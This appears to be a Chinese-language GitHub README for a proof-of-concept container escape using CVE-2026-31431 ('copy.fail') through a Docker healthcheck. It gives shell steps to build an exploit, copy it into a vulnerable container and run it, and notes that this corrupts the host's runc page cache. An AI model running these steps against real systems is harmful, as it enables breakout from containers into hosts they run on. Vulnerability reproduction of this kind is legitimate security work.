hans362/CVE-2026-31431-Copy-Fail-Container-Escape

GitHub: hans362/CVE-2026-31431-Copy-Fail-Container-Escape

演示利用 CVE-2026-31431 copy.fail 漏洞从启用了 healthcheck 的 Docker 容器中逃逸到宿主机的 PoC。

Stars: 0 | Forks: 1

# CVE-2026-31431-Copy-Fail-容器逃逸 ## 演示 https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e ## 前置条件 - 存在 CVE-2026-31431 漏洞的容器 - 已配置容器 healthcheck 且已知 healthcheck CMD - 已获得容器内的 root 权限(如果尚未获取,可以直接利用 Copy Fail 获取一个) 本仓库中提供了 `docker-compose.yml` 用于搭建易受攻击的容器。你也可以使用任何其他存在漏洞的容器或自行搭建,**但请记住相应地修改 exploit 代码**。 ## 漏洞利用步骤 ``` # 在宿主机上 rm -r copy-fail-c /tmp/pwned docker-compose up -d git clone https://github.com/tgies/copy-fail-c.git cp payload.c copy-fail-c/ cd copy-fail-c && make && cp exploit ../ && cd .. docker cp exp.sh copyfail:/tmp/ docker cp exploit copyfail:/tmp/ docker exec -it copyfail /bin/sh # 在 copyfail 容器内 cd /tmp chmod +x exp.sh exploit ./exp.sh # 等待几分钟让 healthcheck 运行 # 并检查宿主机上是否创建了 /tmp/pwned # 在宿主机上 ls /tmp/pwned ``` 一旦漏洞利用成功,**宿主机上 `runc` 二进制文件的页缓存将被破坏**。你可以通过在宿主机上运行 `echo 3 | sudo tee /proc/sys/vm/drop_caches` 来恢复。 ## 致谢 - https://copy.fail/ - https://github.com/tgies/copy-fail-c ## 免责声明 本仓库仅供教育目的。不得用于任何恶意活动。对于因滥用此代码造成的任何损害,作者概不负责。请始终在受控且合法的环境中使用。
标签:copy-fail, Cutter, CVE-2026-31431, Docker Compose, Docker安全, Exploit, healthcheck, POC, runc, Web截图, Web报告查看器, 二进制漏洞, 客户端加密, 容器安全, 容器逃逸, 提权, 数据展示, 漏洞复现, 红队, 请求拦截, 页面缓存破坏